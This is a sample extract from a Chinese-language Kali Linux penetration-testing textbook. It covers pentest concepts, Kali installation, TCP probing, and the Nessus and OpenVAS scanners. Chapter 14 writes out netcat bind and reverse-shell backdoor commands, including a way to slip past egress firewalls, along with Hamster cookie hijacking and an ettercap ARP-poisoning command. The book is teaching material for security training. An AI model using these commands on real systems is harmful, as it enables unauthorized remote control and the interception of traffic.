chapterepaper.gotop.com.tw/pdfsample/acn027600.pdf · chapter 2 kali 下載、安裝與設定 kali...
TRANSCRIPT
本章重點
關於 Kali 與滲透測試
z 1.1 駭客分類
z 1.2 資訊資產與風險管理 ─ 資安威脅
z 1.3 滲透測試的目的、程序及方法
z 1.4 滲透測試入門知識
z 1.5 測試方法論
z 1.6 滲透測試的一般程序
z 1.7 Kali的兩面刃 ─ 教你做滲透測試,不是教你當
駭客
z 1.8 不完全翻譯的術語
1Chapter
1-4
Chapter 1 關於 Kali與滲透測試
方式之一,發現的弱點不一定會對企業造成危害,因為許多弱點(漏洞)必須搭配
適當的條件才能被利用,滲透測試則在評斷弱點被利用程度,及可能造成的危害。
1.3 滲透測試的目的、程序及方法上面談到白帽駭客是受雇主委託進行攻擊,因此可攻擊的標的及範圍會依雇
主的需求而有所限縮,此類在依雙方協議的內容所進行的攻擊稱為「滲透測試」
(Penetration Test,簡稱 Pentest)。「滲透測試」旨在發現資訊資產風險,以便提供適當的風險管理。
企業或組織為什麼需要滲透測試?當資訊系統上線提供服務,駭客就會不斷嘗
試攻擊,系統是否經得起考驗,透過滲透測試作業,可讓企業主:
� 了解入侵者可能利用的途徑
z 資訊不當揭露或竄改
z 網路架構設計問題
z 防火牆設定問題
z 系統及應用程式漏洞
z 系統及應用程式設定問題
� 了解系統及網路的安全強度
z 評估具同等能力的入侵者大約需花費多久的時間入侵成功
z 評估遭到入侵可能造成的影響程度
z 評估資通安全政策的落實程度
� 了解弱點、強化安全
z 強化系統及網路的安全
z 減低遭到入侵後的損失
維基(WiKi)對於滲透測試的說法是:藉由對電腦系統的攻擊,期以發現系統可能的安全弱點,進而取得系統、程式功能或機敏資料的存取權。一般的說法是:
以駭客的觀點、技術、工具對目標系統仿造駭客的攻擊手法,以便找出系統的弱點
或漏洞,並提供客戶修補建議,做為系統強化的手段。
2-2
Chapter 2 Kali下載、安裝與設定
Kali是以 Debian為基礎發展的,Debian有的特性 Kali都有,要拿 Kali做辦公用途也可以,但我們把重心放在滲透測試用途上。
2.1 基礎環境設定(安裝 VMWare Player)不可諱言,在台灣使用Windows平台的人占絕大多數,一般人很少會將 Linux
直接裝在實體機器上,而是利用虛擬機在Windows環境裡執行 Linux,如果讀者想將 Kali直接安裝到實體機器,而不是安裝到虛擬機,可以直接跳過此節,不然,請在你的機器上準備虛擬環境,以便因應後續安裝、執行 Kali需要。
在 VMWare中,Host是指實體的電腦環境,以本例而言就是直接安裝在實體硬碟上的Windows作業系統,Guest是指執行在 VMWare上的虛擬機器。可依個人喜好選擇 VMWare或 VirtualBox,筆者個人偏好 VMWare,有關 VMWare Player請從 https://my.vmware.com/web/vmware/downloads 下載,並完成安裝,VMWare Player安裝就如同其他Windows 應用程式一樣容易,不再贅述。
2.2 下載及建立 Kali 的虛擬機如果不想自己製作 Kali 的 VM映像檔,可以從 http://www.offensive-security.
com/kali-linux-vmware-arm-image-download/ 下載別人做好的映像檔使用,檔案採用7z 壓縮,請解開到自定的資料夾裡,然後開啟 ~.vmx的那個檔案即可。或者想自行建立虛擬機,可以從 http://www.kali.org/downloads/ 下載最新版的 Kali ISO 檔案,參考下列步驟建立虛擬機。
1 啟動 VMWare Player,選擇「Create a New Virtual Machine」建立新的虛擬機。
圖 2-1
3-6
Chapter 3 關於 Linux的基本操作
3 只要對著 _Documents網路資料夾 double click就可自動掛載到桌面上。
註:利用 Kali桌面掛載方式,可以利用拖拉檔案方式在 Kali跟Windows間
交換資料。
3.3 Kali常用支援工具
3.3.1 桌面分享(Remote Desktop)
進行滲透測試時,執行測試作業的電腦
通常會置於指定場所,有時需從遠端(如從家
裡)操控此電腦,Kali已預裝有桌面分享程式,毋需另外安裝 VNC。
從「應用系統 \系統工具 \偏好設定 \桌
面分享」進入,勾選「允許其他使用者觀看
您的桌面」及「允許其他使用者控制你的桌
面」,並設好連線密碼。
如果有勾選安全性的「您必須確認每次對
這臺機器的連線」,只要從遠端連入時,Kali都會發出確認對話框要求確認,未確認之前,
遠端連線程序不算完成,因為這樣不符合個人
想從遠端操控的目的,建議將此選項取消。
備註:取消「您必須確認每次對這臺機器的連線」可能存在 Kali被其他人操
控的危險,如無必要,請關閉桌面分享功能。
遠端機器利用 VNC連線 Guest IP的端口 5900,輸入指定的密碼,就可以進行遠端操控。
3.3.2 紀錄檔檢視器
Kali的紀錄檔檢視器就像Windows的事件檢視器,可以讓我們查看系統的日誌資訊。從「應用系統 \系統工具 \紀錄檔檢視器」進入,有時除錯還得靠紀錄檔
的內容呢 !
圖 3-4
8-2
Chapter 8 目標探測
在 internet上的通訊協定是 TCP/IP,探測目標自然使用 TCP/IP協定,為方便說明後續的掃描工具,先就 TCP/IP通訊模式做一簡單介紹。
探測 TCP/IP目標主要是利用 ICMP及 TCP協定,ICMP即一般 ping的用法,多數企業反應 Ping可能讓駭客查尋到攻擊目標,基於安全理由,通常防火牆會封鎖 ICMP封包,想利用 ICMP探測關鍵性系統,常得不到結果。
聰明的駭客發現就算不讓 ping通過,利用 TCP封包亦能達到探測的目的,而且更加靈活及多樣,基於 TCP可靠性要求,在雙方通訊時會有許多確認機制,這些機制反成了探測結果的回應訊息。
TCP表頭除了大家熟知的 Source Port(發訊方端口編號)、Destination Port(受訊方端口編號)外,其他較常運用的欄位尚有:
Sequence Number(流水序號)
流水序號是一組 32bits的無符號整數,當一次完整的 TCP資料傳送時,資料可能被分成多個 TCP封包傳送,每個封包上的流水序號其實是指封包載送的「資料段」的第 1個 byte對應原始資料實際位置的位元組指標。例如一個 1582 Byte檔案,被分成 500bytes、600bytes、482Bytes三個封包傳送,則第 1個封包的流水序號為 1,第 2個封包的流水序號為 501,第 3個封包的流水序號為 1101。
流水序號可看成是發訊方的資料位元組的計數器,發訊方發送的第 2個封包之流水序號減去第 1個封包之流水序號,就是第 1個封包載送的資料段長度。當流水序號達到 0xffffffff,會迴轉再由 0 開始計算。
9-2
Chapter 9 漏洞評估
9.1 nessusNessu是一款免費,全功能的強大弱點掃瞄工具,支援各種平台如 Linux、
BSD、Solaris等,採插件方式可不斷擴充功能,目前已超過 1000個以上的弱點偵察能力。
� 執行路徑:請從瀏覽器連結 https://127.0.0.1:8834(見第四章 Nessus測試連接小節)進入。
圖 9-1
� 說明:
訊息通知:當變成紅色時,表示系統有訊息告知使用者,只要點擊圖示,即可
看到通知的訊息。
使用者管理:管理員可以在此新增或刪除使用者,變更使用者的權限及密碼。
掃描政策(Policies)
設定目標系統的掃描方式叫 Policy,必須要先有 Policy,Nessus才知道要做什麼事。初安裝 Nessus,已預設提供四組 Policy,也可以利用「New Policy」定義新的 Policy。透過指導精靈,只需兩個步驟就可以完成新的 Policy。如果有好幾台Nessus,這些 Policy可以利用 Download / Upload功能彼此分享。
或許你會覺得精靈式的 Policy 設定無法符合要求,可以對已有的 Policy Double-Click,啟動 Policy編輯模式,然後選擇右上角的「Advanced Mode」使用Policy進階設定模式。
9-5
9.2 openvas
從報表中可以清楚地看出這些掃描的資訊與結果,包括了所檢測的主機 IP與主機上所開啟的端口、掃描時間和風險的描述與相對應的解決方法。藉由 Nessus的檢測,很容易檢測與管理系統,從掃描報表可以得知目前系統上存在怎樣的弱
點,使我們得以及早修補這些漏洞,從而降低被攻擊的可能。
Nessus的弱點報告可以 drill down到下一層,如上例 172.31.16.6共發現 2個中風險、2個低風險、12個建議資訊,若點擊風險分佈的長條圖,就會開啟風險的詳細列表。再從風險列表中點擊特定的風險,會開啟該風險的說明及解決方法。
圖 9-6
透過右上角的「Export」將掃描報表匯出,目前 Nessus可以支援 Nessus、PDF、HTML、CSV格式,做為滲透測試的附件,個人建議匯出成 PDF,但如果要利用 dradis(第十八章)跟團隊成員共同編輯,建議匯出 Nessus格式。
9.2 openvasopenvas是跟 Nessus系出同源的漏洞掃描工具,目前仍維持 Open Source的授
權方式。如果已按照第四章介紹的步驟完成 OpenVAS的設定,並啟動 OpenVAS服務,即可由瀏覽器開啟 https://127.0.0.1: 9392。
若未啟動 OpenVAS服務,可由「系統服務 \ OpenVAS \ openvas start」先啟動後,再進行瀏覽器連結,如果使用選單啟動失敗,可手動依下列順序執行。
� gsad
� openvassd
� openvasad
� openvasmd
9-6
Chapter 9 漏洞評估
主功能表介紹
進入 OpenVAS代理網頁後,畫面左有一段歡迎文字及說明,主要是圖示的用法,在圖示列的上方是功能選單,分別為:
� Scan Management:掃描作業管理,可以查看現有的掃作業或新增掃描作業。
� Asset Management:資產管理,可以依風險別或特定關鍵字過濾 host的掃描結果。
� SecInfo Management:資安訊息管理,就是漏洞資料庫清單。
� Configuration:各種設定管理,包括目標主機、主機帳號憑證、掃描作業、警
示、結果過濾條件、排程、報表格式及代理程式等。
� Administration:用來管理使用者帳號、權限,漏洞資料庫的同步及 OpenVAS的設定檔內容。
圖 9-7
14-5
14.1 NetCat
如果將 userdatas.txt改成 htm檔案,就能做為簡易的Web訊息發送。例如:
nc -l -p 80 < /opt/firmware-mod-kit/trunk/creating_ipkg_packages.htm
圖 14-2
簡易型即時通:
nc -ltp 80
利用 -t選項,NC工作在 Telnet應答模式,雙方輸入的文字都會反應在對方的終端機上。
圖 14-3
遠端後門:
nc -l -p 8088 -e cmd.exe (for Windows)nc -l -p 8080 -e /bin/sh (for Linux)
14-6
Chapter 14 漏洞利用、提權工具
做為後門待命程式,在端口 8080等待接聽,連線成功後,執行指定的程式。(Windows的例子是用端口 8088。)
如果攻擊者執行下面的指令,即可取得接聽端的終端機控制權:
nc 172.31.1.10 8080
(172.31.1.10是指上面執行等待接聽模式的機器位址。)
後門反向連線:
nc -l -p 80 (操控端 )nc 192.168.1.1 80 -e cmd.exe (被控端 )
操控端(Kali)先執行接聽模式,等待被控端(Win)連入,一待被控端連入操控端,被控端會執行 cmd.exe,操控端即可進行遠端操作。
許多機構會限制內部機器只能通過特定的端口(如 80, 443)對外連線,上一個「遠端後門」的範例(使用 8080)將無法實踐,透過反向連線,由被控端以端口 80向外連線就可以避開防火牆的管制,達成遠端操控的目的。
如果要隱藏行蹤,可以在Windows執行的指令加上 -d選項。
圖 14-4
14-9
14.2 Hamster
(4) 啟動 Chrome並瀏覽任何需登入帳號、密碼的網站。如 demo.testfire.net。
好的,正常情形 hamster應該開始監聽並分析 cookie或 session資料,如果您也不幸在執行 hamster的終端機出現:
starting adapter eth0execle(ferret): No such file or directory
這表示 hamster找不到 ferret,可以先將終端機目錄切換到 /usr/bin/再執行hamster。不過切換到 /usr/bin/執行 hamster,之後 ferret攔截的封包檔(.pcap)及 hamster分析檔(hamster.txt)都會存在 /usr/bin/目錄裡。為了統一控管產生的資料檔,筆者採用另一種做法:
(1) 執行 mkdir /hamster/建立專用目錄。
(2) 將 /usr/bin/下的 hamster及 ferret都複製(cp)到 /hamster/裡。
(3) 直接到 /hamster/執行 hamster。
這樣的好處是產生的檔案集中在 hamster,容易管理。
修正找不到 ferret的問題後,重新執行 hamster吧!當 ferret開始擷取封包,hamster終端機就開始有資訊湧現。回到 FireFox重整畫面,應該可以看到取得幾個 Targets及 Database。
圖 14-5
14-28
Chapter 14 漏洞利用、提權工具
完成設定後,可以選擇「Start \ Start sniffing」或者 Mitm下的 4種中間人攻擊方式。
圖 14-13
� 範例:
對 192.168.158.1(Gateway) 及 192.168.158.132( 受 害 者 ) 執 行 ARP poisoning,將 192.168.158.132指定給 Target1, 192.168.158.1指定給 Target2,然後執行「Mitm \ Arp poisoning...」。
圖 14-14
可 以 看 到 192.168.158.1 的 MAC 位 址 在 poisoning 時, 從 原 本 正 確 的00:50:56:C0:00:08變成攻擊機的 MAC 00:C0:29:47:BB:81,所以 192.168.158.132要送往 192.168.158.1(GATEWAY)的封包都會先送給攻擊機。
實際上,上面 GUI操作的程序,跟下列文字模式的指令是相同的:
ettercap -Tq -i eth0 -M arp /192.168.158.132/ /192.168.158.1/